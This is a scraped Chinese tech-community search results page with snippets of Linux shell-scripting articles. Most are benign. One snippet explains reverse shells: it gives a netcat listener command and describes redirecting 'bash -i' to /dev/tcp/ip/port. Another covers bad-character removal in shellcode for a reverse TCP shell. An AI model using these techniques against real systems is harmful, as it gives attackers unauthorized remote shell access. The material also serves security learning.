首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

Linux编写Shell脚本

Linux编写Shell脚本 目录 Shell Shell脚本的执行 Shell脚本编写规范 Shell 中的变量 变量的算术运算 双小括号 (()) 数值运算命令的用法 let 运算命令的用法 expr...当命令或程序语句不在命令行执行,而是通过一个程序文件来执行时,该程序文件就被称为Shell脚本。...Shell脚本编写规范 Shell脚本的开发规范及习惯非常重要,虽然这些规范不是必须要遵守的,但有了好的规范和习惯,可以大大提升开发效率,并能在后期降低对脚本的维护成本。...中常见的算术运算符 Shell 中常见的算术运算命令 双小括号 (()) 数值运算命令的用法 双小括号 (()) 的作用是进行数值运算与数值比较,它的效率很高,用法灵活,是Linux常用的运算操作符...3、利用 expr 计算字符串的长度 bc 命令的用法 bc 是UNIX/Linux的计算器,除了作为计算器来使用,还可以作为命令行计算工具使用 交互模式 在shell命令行直接输入 bc 及能进入

7.2K10
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    初识Linux · 自主Shell编写

    前言: 本文介绍是自主Shell编写,对于shell,即外壳解释程序,我们目前接触到的命令行解释器,有bash,还有SSH,对于今天模拟实现的Shell编写,我们模拟的是bash,以及需要的预备知识前文已经介绍了...,进程的多方面的知识,在自主Shell编写里面比较重要的是进程程序替换,进程终止,进程等待,进程状态什么的,都是自主Shell编写里面的辅助知识罢了。...那么,话不多说,我们直接进入到Shell编写部分。...那么如何保证修饰一呢? 我们可以将该字符串进行分割,也就是使用指针,将该指针的指向指到最后一个/指向的地方即可。...此时自主shell编写就差不多了。 感谢阅读!

    9310

    LinuxShellcode编写

    就没有后面什么事情了,所以要想办法消除这些 bad character bad character 列表00\0null0A\n回车换行FF\f换页0D\r回车 消除bad character 来看一这些...针对这种的 mov eax,0x1,可以使用对寄存器的一部分赋值实现,比如:mov al,0x1 还可以通过 xor rax,rax 先把 rax 置为 0,然后 add rax,0x1 实现 看一效果...学会了这些基本的消除 bad character 的方法之后来写个真正的 shellcode 试试, 一个可以获得 shell 的 C 语言代码如下 char *const argv[]={"/bin...可以使用 GDB 调试看一 C 语言程序内存的值(gcc 加上 -g 参数可以直接 b 15 断在代码的第 15 行) Breakpoint 1, main () at 1.c:15 15 bind...了 Reverse TCP shell 这种方法是我们首先在自己的机器上监听一个端口,然后让靶机访问我们,这样不会被防火墙拦截。

    2.3K31

    编写Linux Shell脚本的最佳实践

    代码有注释 注释,显然是一个常识,不过这里还是要再强调一,这个在shell脚本里尤为重要。因为很多单行的shell命令不是那么浅显易懂,没有注释的话在维护起来会让人尤其的头大。...这里还尤其需要注意一点,就是当我们是在windows用utf-8编码来写shell脚本的时候,一定要注意这个utf-8是否是有BOM的。...默认情况windows判断utf-8格式是通过在文件开头加上三个EF BB BF字节来判断的,但是在Linux中默认是无BOM的。...否则,在Linux运行的时候就会识别到开头的三个字符,从而报一些无法识别命令的错。 当然,对于跨平台写脚本还有一个比较常见的问题就是换行符不同。windows默认是 而unix是 。...在shell中,我们也有类似的小技巧: #!

    1.1K30

    编写Linux Shell脚本的最佳实践

    代码有注释 注释,显然是一个常识,不过这里还是要再强调一,这个在shell脚本里尤为重要。因为很多单行的shell命令不是那么浅显易懂,没有注释的话在维护起来会让人尤其的头大。...最少,最少,我们至少得判断参数的个数吧: 变量和魔数 一般情况我们会将一些重要的环境变量定义在开头,确保这些变量的存在。...这里还尤其需要注意一点,就是当我们是在windows用utf-8编码来写shell脚本的时候,一定要注意这个utf-8是否是有BOM的。...默认情况windows判断utf-8格式是通过在文件开头加上三个EF BB BF字节来判断的,但是在Linux中默认是无BOM的。...否则,在Linux运行的时候就会识别到开头的三个字符,从而报一些无法识别命令的错。 权限记得加 这一点虽然很小,但是我个人却经常忘记,不加执行权限会导致无法直接执行,有点讨厌。。。

    75920

    编写Linux Shell脚本的最佳实践

    代码有注释 注释,显然是一个常识,不过这里还是要再强调一,这个在shell脚本里尤为重要。因为很多单行的shell命令不是那么浅显易懂,没有注释的话在维护起来会让人尤其的头大。...最少,最少,我们至少得判断参数的个数吧: 变量和魔数 一般情况我们会将一些重要的环境变量定义在开头,确保这些变量的存在。...这里还尤其需要注意一点,就是当我们是在windows用utf-8编码来写shell脚本的时候,一定要注意这个utf-8是否是有BOM的。...默认情况windows判断utf-8格式是通过在文件开头加上三个EF BB BF字节来判断的,但是在Linux中默认是无BOM的。...否则,在Linux运行的时候就会识别到开头的三个字符,从而报一些无法识别命令的错。 权限记得加 这一点虽然很小,但是我个人却经常忘记,不加执行权限会导致无法直接执行,有点讨厌。。。

    1.1K90

    Linux反弹Shell方法

    在日常工作中,我们需要得到目标系统的shell。在局域网相对简单,而不在同一局域网或者是异地网络。那么如何让目标直接互通执行相关shell命令呢?...通过本文我们一起来看看Linux如何反弹shell。...实验环境 kali Linux (内外:192.168.5.139) Centos8 (腾讯云:123.6.44.67) 姿势一 bash反弹 首先,使用nc在外网主机上监听端口: nc -lvp 9090...当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符 理解了上面这些知识,下面来解释一这一条反弹shell的命令, bash -i代表在本地打开一个交互式bash, /dev/tcp.../是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接, >&后面跟上/dev/tcp/ip/port这个文件代表将标准输出和标准错误输出重定向到这个文件

    2.2K30

    企业Linux运维SHELL编写规范 原

    路径规定 为了方便维护人员维护,需要规定两个正式脚本的发布路径和维护人员的测试路径,不要将脚本放到规定路径以外,例如: 1.1 维护人员的测试路径: /opt/tmn/user 该路径用于维护人员编写脚本是的测试路径...,不要将正式使用的定时任务脚本放到该路径 在该路径创建每个维护人员各自姓名拼音的文件夹: /opt/tmn/user/zhang3 /opt/tmn/user/li4 1.2 正式脚本的发布路径:...编写一个脚本 每套脚本之间路径不要有交叉,将所有用到的脚本全部放在定义目录下 代码尽量简洁,不要啰嗦,注释得当 例如:编写一个给外系统传输网管传送接口数据的脚本 2.1 脚本名称定义 有意义,英文名...每套脚本中用到的shell脚本尽量不要太多,通常每个shell脚本内容100行左右,主脚本名称要以main打头 文件中不要使用tab制表符,要采用4个空格代替 例如:vi main_trans_to_zznode.sh...定时备份 编写好的脚本,要加入定时备份,通常备份的文件存储到另外一台服务器上 4. 待续……

    95160

    linuxshell命令的编写,以及java如何调用linuxshell命令(java如何获取linux上的网卡的ip信息)

    好吧,看看上面的打印,你就知道了,有多个ip,而且在linux上的情况更复杂。这种比较麻烦的情况,被我排除了,我使用了一种新的方法,就是linux上的shell脚本。...语法代码如下: #linux中的shell脚本的学习(so easy) #1.注释 #在进行shell编程时,以#开头的句子表示注释,直到这一行的结束。 #我们真诚地建议您在程序中使用注释。...在shell编程中,所有的变量都由字符串组成,并且您不需要对变量进行声明。.../bin/sh #对变量赋值: hw="hello world" # 现在打印变量hw的内容: echo "变量hw的值为:" echo $hw 一是获取ip的shell脚本代码: #!...然后用java调用,一是java在linux上调用shell脚本的命令: /** * @see 执行脚本获取linux上的ip * @author Herman.Xiong * @date 2014

    2.4K20

    Linuxshell不能正常执行

    标签 LinuxShell 操作 Linux编写deploy.sh文件,内容是用docker部署微服务 执行脚本:出错,错误信息如下 错误信息 [root@coder-oldgeek]# sh deploy.sh...经验分析:这种多半是因为文本编码导致 定位问题 查看文件信息:file命令 [root@coder-oldgeek]# file deploy.sh deploy.sh: Bourne-Again shell...:默认换行符是,称为CR与LF两个符号(\r\n); 【注意点】在windows编辑的shell脚本只看文件内容是没问题,但一旦到linux可能就运行挂了 解决问题 查找换行符号:find命令 find...-name '*.sh' | xargs -I {} perl -pi -e 's/\r//g' {} 查看有问题文件是否去掉DOS格式换行符号 [root@coder-oldgeek]# file...deploy.sh deploy.sh: Bourne-Again shell script, ASCII text executable 发现:with CRLF line terminators

    4.3K10
    领券